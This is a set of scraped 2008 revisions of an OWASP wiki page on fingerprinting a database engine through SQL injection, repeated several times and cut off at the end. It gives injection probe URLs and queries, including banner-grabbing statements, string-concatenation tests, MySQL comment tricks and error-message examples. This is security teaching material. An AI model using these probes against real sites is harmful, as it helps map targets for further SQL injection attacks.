* OWASP : "PHP Top 5 - http://www.owasp.org/index.php/PHP_Top_5"<br />
* PHP : "MySQL Improved Extension" - http://it2.php.net/manual/en/book.mysqli.php<br />
* Ilia Alshanetsky : "architect's Guide to PHP Security" - http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf<br />
* PHPIDS : http://php-ids.org/</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_DBMS_Fingerprint&diff=34495OWASP Backend Security Project DBMS Fingerprint2008-07-23T19:34:30Z<p>Dbellucci: /* Fingerprinting through SQL Dialect Injection */</p>
<hr />
<div>= Overview =<br />
<br />
To furthermore exploit SQL Injection vulnerability you need to know<br />
what kind of Database Engine your web application is using. <br />
There are a few techniques to accomplish this task:<br />
* Banner Grabbing<br />
* Guessing the string concatenation operator<br />
* Analyzing backend SQL Dialect<br />
* Error Code Analysis<br />
<br />
= Description =<br />
<br />
After determining that a web application is vulnerable to SQL Injection we need to fingerprint backend DBMS<br />
to furthermore exploit such a vulnerbility. Fingerprint is performed against a set of peculiarities of DBMS.<br />
Such a peculiarities are listed below in order of accuracy:<br />
<br />
* Informations exposed through an error code<br />
* String concatenation functions<br />
* SQL Dialects<br />
<br />
<br />
== Banner Grabbing ==<br />
<br />
Through a SQL Injection we can retrieve Backend DBMS banner but be aware that it could have been replaced by a system administrator. Such a SQL Injection shall include a SQL Statement to be evaluated. Let'see how to accomplish this task:<br />
* MySQL: ''SELECT version()''<br />
* Postgres: ''SELECT version()''<br />
* Oracle: ''SELECT version FROM v$instance''<br />
* MS SQL: ''SELECT @@version''<br />
<br />
== Fingerprinting with string concatenation ==<br />
<br />
Different DBMS handle string concatenation with different operators:<br />
<br />
<br />
'''MS SQL''': 'a' + 'a'<br />
<br />
'''MySQL''': CONCAT('a','a')<br />
<br />
'''Oracle''': 'a' || 'a' ''or'' CONCAT('a','a')<br />
<br />
'''Postgres''': 'a' || 'a'<br />
<br />
<br />
As you can see both Oracle and Postgres use the || operator to perform<br />
such a concatenation, so we need another difference to distinguish them.<br />
<br />
PL/SQL define the CONCAT operator as well to perform string concatenation<br />
and as you can guess this one is not defined on Postgres.<br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you're testing the following URL: <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<br />
You checked that the above URL is vulnerable to a Blind SQL Injection.<br />
It means that <nowiki>http://www.example.com/news.php</nowiki> return back<br />
the same contents with both <br />
<br />
id=1 (<nowiki>http://www.example.com/news.php?id=1</nowiki>)<br />
<br />
''and''<br />
<br />
id=1 AND 1=1 (<nowiki>http://www.example.com/news.php?id=1 AND 1=1</nowiki>)<br />
<br />
<br />
<br />
You know that different engine have different operators<br />
to perform string concatenation as well so all you have to do is <br />
to compare the orginal page (id=1) with:<br />
<br />
* '''MSSQL:''' id=1 AND 'aa'='a'+'a' <br />
* '''MySQL/Oracle:''' id=1 AND 'aa'=CONCAT('a','a') <br />
* '''Oracle/Postgres:''' id=1 AND 'a'='a'||'a' <br />
<br />
<br />
'''MS SQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1''</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'+'a'''</nowiki><br />
<br />
'''MySQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
<br />
'''Oracle''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
'''Postgres''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
<br />
== Fingerprinting through SQL Dialect Injection ==<br />
<br />
Each DBMS extends Standard SQL with a set of native statements. Such a set define a SQL Dialect available to developers<br />
to properly query a backend DBMS Engine. Beside of a lack of portability this flaw dafine a way to accurately fingerprint<br />
a DBMS through a SQL Injection, or even better a SQL Dialect Injection. SQL Dialect Injection is an attack vector where only statements, operators and peculiarities of a SQL Dialect are used in a SQL Injection.<br />
<br />
As an example what does ''SELECT 1/0'' returns on different DBMS?<br />
<br />
* '''MySQL:''' NULL<br />
* '''Postgres:''' ERROR: division by zero<br />
* '''Oracle:''' ORA-00923: FROM keyword not found where expected<br />
* '''SQL Server:''' Server: Msg 8134, Level 16, State 1, Line 1 Divide by zero error encountered.<br />
<br />
We can exploit this peculiarities to identify MySQL DBMS. To accomplish this task the following comparison shall be true:<br />
<br />
<nowiki><br />
http://www.example.com/news.php?id=1 <br />
http://www.example.com/news.php?id=1 AND ISNULL(1/0)<br />
</nowiki><br />
<br />
<br />
Let see more about this fingerprinting technique.<br />
<br />
<br />
'''MySQL:'''<br />
<br />
One of MySQL peculiarities is that when a comment block ('/**/') contains an exlamation mark ('/*! sql here*/') it is interpreted by MySQL, and is considered as a normal comment block by other DBMS.<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be '''TRUE'':<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1--</nowiki><br />
<br />
When backend engine is MySQL following WEB PAGES should contains the same content of vulnerable URL<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=1 */--</nowiki><br />
<br />
on the other side the following should be completely different:<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=0 */--</nowiki><br />
<br />
<br />
'''PostgreSQL:'''<br />
<br />
Postgres define the ''::'' operator to perform data casting. It means that ''1'' as INT<br />
can be convert to ''1'' as CHAR with the following statements:<br />
<br />
SELECT 1::CHAR<br />
<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be true when backend engine is PostgreSQL:<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1::int</nowiki><br />
<br />
'''MS SQL Server:'''<br />
.....<br />
.....<br />
<br />
<br />
'''Oracle:'''<br />
<br />
.....<br />
<br />
.....<br />
<br />
== Error Codes Analysis ==<br />
<br />
By performing fault injection, or fuzzing, you can gather important <br />
information through error code analysis when web application framework reports errors.<br />
Let'see some examples:<br />
<br />
<nowiki><br />
http://www.example.com/store/findproduct.php?name='<br />
<br />
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version <br />
for the right syntax to use near ''''' at line 1</nowiki><br />
<br />
<nowiki><br />
http://www.example.com/store/products.php?id='<br />
<br />
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: <br />
SELECT * FROM products WHERE ID=' ^ in /var/www/store/products.php on line 9</nowiki><br />
<br />
= References =<br />
<br />
Victor Chapela: "Advanced SQL Injection" http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_DBMS_Fingerprint&diff=34494OWASP Backend Security Project DBMS Fingerprint2008-07-23T19:33:55Z<p>Dbellucci: /* Fingerprinting through SQL Dialect Injection */</p>
<hr />
<div>= Overview =<br />
<br />
To furthermore exploit SQL Injection vulnerability you need to know<br />
what kind of Database Engine your web application is using. <br />
There are a few techniques to accomplish this task:<br />
* Banner Grabbing<br />
* Guessing the string concatenation operator<br />
* Analyzing backend SQL Dialect<br />
* Error Code Analysis<br />
<br />
= Description =<br />
<br />
After determining that a web application is vulnerable to SQL Injection we need to fingerprint backend DBMS<br />
to furthermore exploit such a vulnerbility. Fingerprint is performed against a set of peculiarities of DBMS.<br />
Such a peculiarities are listed below in order of accuracy:<br />
<br />
* Informations exposed through an error code<br />
* String concatenation functions<br />
* SQL Dialects<br />
<br />
<br />
== Banner Grabbing ==<br />
<br />
Through a SQL Injection we can retrieve Backend DBMS banner but be aware that it could have been replaced by a system administrator. Such a SQL Injection shall include a SQL Statement to be evaluated. Let'see how to accomplish this task:<br />
* MySQL: ''SELECT version()''<br />
* Postgres: ''SELECT version()''<br />
* Oracle: ''SELECT version FROM v$instance''<br />
* MS SQL: ''SELECT @@version''<br />
<br />
== Fingerprinting with string concatenation ==<br />
<br />
Different DBMS handle string concatenation with different operators:<br />
<br />
<br />
'''MS SQL''': 'a' + 'a'<br />
<br />
'''MySQL''': CONCAT('a','a')<br />
<br />
'''Oracle''': 'a' || 'a' ''or'' CONCAT('a','a')<br />
<br />
'''Postgres''': 'a' || 'a'<br />
<br />
<br />
As you can see both Oracle and Postgres use the || operator to perform<br />
such a concatenation, so we need another difference to distinguish them.<br />
<br />
PL/SQL define the CONCAT operator as well to perform string concatenation<br />
and as you can guess this one is not defined on Postgres.<br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you're testing the following URL: <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<br />
You checked that the above URL is vulnerable to a Blind SQL Injection.<br />
It means that <nowiki>http://www.example.com/news.php</nowiki> return back<br />
the same contents with both <br />
<br />
id=1 (<nowiki>http://www.example.com/news.php?id=1</nowiki>)<br />
<br />
''and''<br />
<br />
id=1 AND 1=1 (<nowiki>http://www.example.com/news.php?id=1 AND 1=1</nowiki>)<br />
<br />
<br />
<br />
You know that different engine have different operators<br />
to perform string concatenation as well so all you have to do is <br />
to compare the orginal page (id=1) with:<br />
<br />
* '''MSSQL:''' id=1 AND 'aa'='a'+'a' <br />
* '''MySQL/Oracle:''' id=1 AND 'aa'=CONCAT('a','a') <br />
* '''Oracle/Postgres:''' id=1 AND 'a'='a'||'a' <br />
<br />
<br />
'''MS SQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1''</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'+'a'''</nowiki><br />
<br />
'''MySQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
<br />
'''Oracle''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
'''Postgres''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
<br />
== Fingerprinting through SQL Dialect Injection ==<br />
<br />
Each DBMS extends Standard SQL with a set of native statements. Such a set define a SQL Dialect available to developers<br />
to properly query a backend DBMS Engine. Beside of a lack of portability this flaw dafine a way to accurately fingerprint<br />
a DBMS through a SQL Injection, or even better a SQL Dialect Injection. SQL Dialect Injection is an attack vector where only statements, operators and peculiarities of a SQL Dialect are used in a SQL Injection.<br />
<br />
As an example what does ''SELECT 1/0'' returns on different DBMS?<br />
<br />
* '''MySQL:''' NULL<br />
* '''Postgres:''' ERROR: division by zero<br />
* '''Oracle:''' ORA-00923: FROM keyword not found where expected<br />
* '''SQL Server:''' Server: Msg 8134, Level 16, State 1, Line 1 Divide by zero error encountered.<br />
<br />
We can exploit this peculiarities to identify MySQL DBMS. To accomplish this task the following comparison shall be true:<br />
* http://www.example.com/news.php?id=1 <br />
* http://www.example.com/news.php?id=1 AND ISNULL(1/0)<br />
<br />
<br />
<br />
Let see more about this fingerprinting technique.<br />
<br />
<br />
'''MySQL:'''<br />
<br />
One of MySQL peculiarities is that when a comment block ('/**/') contains an exlamation mark ('/*! sql here*/') it is interpreted by MySQL, and is considered as a normal comment block by other DBMS.<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be '''TRUE'':<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1--</nowiki><br />
<br />
When backend engine is MySQL following WEB PAGES should contains the same content of vulnerable URL<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=1 */--</nowiki><br />
<br />
on the other side the following should be completely different:<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=0 */--</nowiki><br />
<br />
<br />
'''PostgreSQL:'''<br />
<br />
Postgres define the ''::'' operator to perform data casting. It means that ''1'' as INT<br />
can be convert to ''1'' as CHAR with the following statements:<br />
<br />
SELECT 1::CHAR<br />
<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be true when backend engine is PostgreSQL:<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1::int</nowiki><br />
<br />
'''MS SQL Server:'''<br />
.....<br />
.....<br />
<br />
<br />
'''Oracle:'''<br />
<br />
.....<br />
<br />
.....<br />
<br />
== Error Codes Analysis ==<br />
<br />
By performing fault injection, or fuzzing, you can gather important <br />
information through error code analysis when web application framework reports errors.<br />
Let'see some examples:<br />
<br />
<nowiki><br />
http://www.example.com/store/findproduct.php?name='<br />
<br />
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version <br />
for the right syntax to use near ''''' at line 1</nowiki><br />
<br />
<nowiki><br />
http://www.example.com/store/products.php?id='<br />
<br />
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: <br />
SELECT * FROM products WHERE ID=' ^ in /var/www/store/products.php on line 9</nowiki><br />
<br />
= References =<br />
<br />
Victor Chapela: "Advanced SQL Injection" http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_DBMS_Fingerprint&diff=34484OWASP Backend Security Project DBMS Fingerprint2008-07-23T14:28:38Z<p>Dbellucci: /* Banner Grabbing */</p>
<hr />
<div>= Overview =<br />
<br />
To furthermore exploit SQL Injection vulnerability you need to know<br />
what kind of Database Engine your web application is using. <br />
There are a few techniques to accomplish this task:<br />
* Banner Grabbing<br />
* Guessing the string concatenation operator<br />
* Analyzing backend SQL Dialect<br />
* Error Code Analysis<br />
<br />
= Description =<br />
<br />
After determining that a web application is vulnerable to SQL Injection we need to fingerprint backend DBMS<br />
to furthermore exploit such a vulnerbility. Fingerprint is performed against a set of peculiarities of DBMS.<br />
Such a peculiarities are listed below in order of accuracy:<br />
<br />
* Informations exposed through an error code<br />
* String concatenation functions<br />
* SQL Dialects<br />
<br />
<br />
== Banner Grabbing ==<br />
<br />
Through a SQL Injection we can retrieve Backend DBMS banner but be aware that it could have been replaced by a system administrator. Such a SQL Injection shall include a SQL Statement to be evaluated. Let'see how to accomplish this task:<br />
* MySQL: ''SELECT version()''<br />
* Postgres: ''SELECT version()''<br />
* Oracle: ''SELECT version FROM v$instance''<br />
* MS SQL: ''SELECT @@version''<br />
<br />
== Fingerprinting with string concatenation ==<br />
<br />
Different DBMS handle string concatenation with different operators:<br />
<br />
<br />
'''MS SQL''': 'a' + 'a'<br />
<br />
'''MySQL''': CONCAT('a','a')<br />
<br />
'''Oracle''': 'a' || 'a' ''or'' CONCAT('a','a')<br />
<br />
'''Postgres''': 'a' || 'a'<br />
<br />
<br />
As you can see both Oracle and Postgres use the || operator to perform<br />
such a concatenation, so we need another difference to distinguish them.<br />
<br />
PL/SQL define the CONCAT operator as well to perform string concatenation<br />
and as you can guess this one is not defined on Postgres.<br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you're testing the following URL: <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<br />
You checked that the above URL is vulnerable to a Blind SQL Injection.<br />
It means that <nowiki>http://www.example.com/news.php</nowiki> return back<br />
the same contents with both <br />
<br />
id=1 (<nowiki>http://www.example.com/news.php?id=1</nowiki>)<br />
<br />
''and''<br />
<br />
id=1 AND 1=1 (<nowiki>http://www.example.com/news.php?id=1 AND 1=1</nowiki>)<br />
<br />
<br />
<br />
You know that different engine have different operators<br />
to perform string concatenation as well so all you have to do is <br />
to compare the orginal page (id=1) with:<br />
<br />
* '''MSSQL:''' id=1 AND 'aa'='a'+'a' <br />
* '''MySQL/Oracle:''' id=1 AND 'aa'=CONCAT('a','a') <br />
* '''Oracle/Postgres:''' id=1 AND 'a'='a'||'a' <br />
<br />
<br />
'''MS SQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1''</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'+'a'''</nowiki><br />
<br />
'''MySQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
<br />
'''Oracle''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
'''Postgres''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
<br />
== Fingerprinting through SQL Dialect Injection ==<br />
<br />
Each DBMS extends Standard SQL with a set of native statements. Such a set define a SQL Dialect available to developers<br />
to properly query a backend DBMS Engine. Beside of a lack of portability this flaw dafine a way to accurately fingerprint<br />
a DBMS through a SQL Injection, or even better a SQL Dialect Injection. SQL Dialect Injection is an attack vector where only statements, operators and peculiarities of a SQL Dialect are used in a SQL Injection.<br />
<br />
As an example what does ''SELECT 1/0'' returns on different DBMS?<br />
<br />
* '''MySQL:''' NULL<br />
* '''Postgres:''' ERROR: division by zero<br />
* '''Oracle:''' ORA-00923: FROM keyword not found where expected<br />
* '''SQL Server:''' Server: Msg 8134, Level 16, State 1, Line 1 Divide by zero error encountered.<br />
<br />
<br />
Let see more about this fingerprinting technique.<br />
<br />
<br />
'''MySQL:'''<br />
<br />
One of MySQL peculiarities is that when a comment block ('/**/') contains an exlamation mark ('/*! sql here*/') it is interpreted by MySQL, and is considered as a normal comment block by other DBMS.<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be '''TRUE'':<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1--</nowiki><br />
<br />
When backend engine is MySQL following WEB PAGES should contains the same content of vulnerable URL<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=1 */--</nowiki><br />
<br />
on the other side the following should be completely different:<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=0 */--</nowiki><br />
<br />
<br />
'''PostgreSQL:'''<br />
<br />
Postgres define the ''::'' operator to perform data casting. It means that ''1'' as INT<br />
can be convert to ''1'' as CHAR with the following statements:<br />
<br />
SELECT 1::CHAR<br />
<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be true when backend engine is PostgreSQL:<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1::int</nowiki><br />
<br />
'''MS SQL Server:'''<br />
.....<br />
.....<br />
<br />
<br />
'''Oracle:'''<br />
<br />
.....<br />
<br />
.....<br />
<br />
<br />
== Error Codes Analysis ==<br />
<br />
By performing fault injection, or fuzzing, you can gather important <br />
information through error code analysis when web application framework reports errors.<br />
Let'see some examples:<br />
<br />
<nowiki><br />
http://www.example.com/store/findproduct.php?name='<br />
<br />
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version <br />
for the right syntax to use near ''''' at line 1</nowiki><br />
<br />
<nowiki><br />
http://www.example.com/store/products.php?id='<br />
<br />
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: <br />
SELECT * FROM products WHERE ID=' ^ in /var/www/store/products.php on line 9</nowiki><br />
<br />
= References =<br />
<br />
Victor Chapela: "Advanced SQL Injection" http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_DBMS_Fingerprint&diff=34483OWASP Backend Security Project DBMS Fingerprint2008-07-23T14:27:45Z<p>Dbellucci: /* Overview */</p>
<hr />
<div>= Overview =<br />
<br />
To furthermore exploit SQL Injection vulnerability you need to know<br />
what kind of Database Engine your web application is using. <br />
There are a few techniques to accomplish this task:<br />
* Banner Grabbing<br />
* Guessing the string concatenation operator<br />
* Analyzing backend SQL Dialect<br />
* Error Code Analysis<br />
<br />
= Description =<br />
<br />
After determining that a web application is vulnerable to SQL Injection we need to fingerprint backend DBMS<br />
to furthermore exploit such a vulnerbility. Fingerprint is performed against a set of peculiarities of DBMS.<br />
Such a peculiarities are listed below in order of accuracy:<br />
<br />
* Informations exposed through an error code<br />
* String concatenation functions<br />
* SQL Dialects<br />
<br />
<br />
== Banner Grabbing ==<br />
<br />
Through a SQL Injection we can retrieve Backend DBMS banner but be aware that it could have been replaced by a system administrator. Such a SQL Injection shall include a SQL Statement to be evaluated. Let'see how to accomplish this task:<br />
* MySQL: ''SELECT version()''<br />
* Postgres: ''SELECT version()''<br />
* Oracle: ''SELECT version FROM v$instance''<br />
* MS SQL:<br />
<br />
== Fingerprinting with string concatenation ==<br />
<br />
Different DBMS handle string concatenation with different operators:<br />
<br />
<br />
'''MS SQL''': 'a' + 'a'<br />
<br />
'''MySQL''': CONCAT('a','a')<br />
<br />
'''Oracle''': 'a' || 'a' ''or'' CONCAT('a','a')<br />
<br />
'''Postgres''': 'a' || 'a'<br />
<br />
<br />
As you can see both Oracle and Postgres use the || operator to perform<br />
such a concatenation, so we need another difference to distinguish them.<br />
<br />
PL/SQL define the CONCAT operator as well to perform string concatenation<br />
and as you can guess this one is not defined on Postgres.<br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you're testing the following URL: <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<br />
You checked that the above URL is vulnerable to a Blind SQL Injection.<br />
It means that <nowiki>http://www.example.com/news.php</nowiki> return back<br />
the same contents with both <br />
<br />
id=1 (<nowiki>http://www.example.com/news.php?id=1</nowiki>)<br />
<br />
''and''<br />
<br />
id=1 AND 1=1 (<nowiki>http://www.example.com/news.php?id=1 AND 1=1</nowiki>)<br />
<br />
<br />
<br />
You know that different engine have different operators<br />
to perform string concatenation as well so all you have to do is <br />
to compare the orginal page (id=1) with:<br />
<br />
* '''MSSQL:''' id=1 AND 'aa'='a'+'a' <br />
* '''MySQL/Oracle:''' id=1 AND 'aa'=CONCAT('a','a') <br />
* '''Oracle/Postgres:''' id=1 AND 'a'='a'||'a' <br />
<br />
<br />
'''MS SQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1''</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'+'a'''</nowiki><br />
<br />
'''MySQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
<br />
'''Oracle''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
'''Postgres''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
<br />
== Fingerprinting through SQL Dialect Injection ==<br />
<br />
Each DBMS extends Standard SQL with a set of native statements. Such a set define a SQL Dialect available to developers<br />
to properly query a backend DBMS Engine. Beside of a lack of portability this flaw dafine a way to accurately fingerprint<br />
a DBMS through a SQL Injection, or even better a SQL Dialect Injection. SQL Dialect Injection is an attack vector where only statements, operators and peculiarities of a SQL Dialect are used in a SQL Injection.<br />
<br />
As an example what does ''SELECT 1/0'' returns on different DBMS?<br />
<br />
* '''MySQL:''' NULL<br />
* '''Postgres:''' ERROR: division by zero<br />
* '''Oracle:''' ORA-00923: FROM keyword not found where expected<br />
* '''SQL Server:''' Server: Msg 8134, Level 16, State 1, Line 1 Divide by zero error encountered.<br />
<br />
<br />
Let see more about this fingerprinting technique.<br />
<br />
<br />
'''MySQL:'''<br />
<br />
One of MySQL peculiarities is that when a comment block ('/**/') contains an exlamation mark ('/*! sql here*/') it is interpreted by MySQL, and is considered as a normal comment block by other DBMS.<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be '''TRUE'':<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1--</nowiki><br />
<br />
When backend engine is MySQL following WEB PAGES should contains the same content of vulnerable URL<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=1 */--</nowiki><br />
<br />
on the other side the following should be completely different:<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=0 */--</nowiki><br />
<br />
<br />
'''PostgreSQL:'''<br />
<br />
Postgres define the ''::'' operator to perform data casting. It means that ''1'' as INT<br />
can be convert to ''1'' as CHAR with the following statements:<br />
<br />
SELECT 1::CHAR<br />
<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be true when backend engine is PostgreSQL:<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1::int</nowiki><br />
<br />
'''MS SQL Server:'''<br />
.....<br />
.....<br />
<br />
<br />
'''Oracle:'''<br />
<br />
.....<br />
<br />
.....<br />
<br />
<br />
== Error Codes Analysis ==<br />
<br />
By performing fault injection, or fuzzing, you can gather important <br />
information through error code analysis when web application framework reports errors.<br />
Let'see some examples:<br />
<br />
<nowiki><br />
http://www.example.com/store/findproduct.php?name='<br />
<br />
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version <br />
for the right syntax to use near ''''' at line 1</nowiki><br />
<br />
<nowiki><br />
http://www.example.com/store/products.php?id='<br />
<br />
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: <br />
SELECT * FROM products WHERE ID=' ^ in /var/www/store/products.php on line 9</nowiki><br />
<br />
= References =<br />
<br />
Victor Chapela: "Advanced SQL Injection" http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_DBMS_Fingerprint&diff=34482OWASP Backend Security Project DBMS Fingerprint2008-07-23T13:53:47Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
To furthermore exploit SQL Injection vulnerability you need to know<br />
what kind of Database Engine your web application is using. <br />
There are a few techniques to accomplish this task:<br />
* Error Code Analysis<br />
* Engine Fingerprint<br />
<br />
= Description =<br />
<br />
After determining that a web application is vulnerable to SQL Injection we need to fingerprint backend DBMS<br />
to furthermore exploit such a vulnerbility. Fingerprint is performed against a set of peculiarities of DBMS.<br />
Such a peculiarities are listed below in order of accuracy:<br />
<br />
* Informations exposed through an error code<br />
* String concatenation functions<br />
* SQL Dialects<br />
<br />
<br />
== Banner Grabbing ==<br />
<br />
Through a SQL Injection we can retrieve Backend DBMS banner but be aware that it could have been replaced by a system administrator. Such a SQL Injection shall include a SQL Statement to be evaluated. Let'see how to accomplish this task:<br />
* MySQL: ''SELECT version()''<br />
* Postgres: ''SELECT version()''<br />
* Oracle: ''SELECT version FROM v$instance''<br />
* MS SQL:<br />
<br />
== Fingerprinting with string concatenation ==<br />
<br />
Different DBMS handle string concatenation with different operators:<br />
<br />
<br />
'''MS SQL''': 'a' + 'a'<br />
<br />
'''MySQL''': CONCAT('a','a')<br />
<br />
'''Oracle''': 'a' || 'a' ''or'' CONCAT('a','a')<br />
<br />
'''Postgres''': 'a' || 'a'<br />
<br />
<br />
As you can see both Oracle and Postgres use the || operator to perform<br />
such a concatenation, so we need another difference to distinguish them.<br />
<br />
PL/SQL define the CONCAT operator as well to perform string concatenation<br />
and as you can guess this one is not defined on Postgres.<br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you're testing the following URL: <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<br />
You checked that the above URL is vulnerable to a Blind SQL Injection.<br />
It means that <nowiki>http://www.example.com/news.php</nowiki> return back<br />
the same contents with both <br />
<br />
id=1 (<nowiki>http://www.example.com/news.php?id=1</nowiki>)<br />
<br />
''and''<br />
<br />
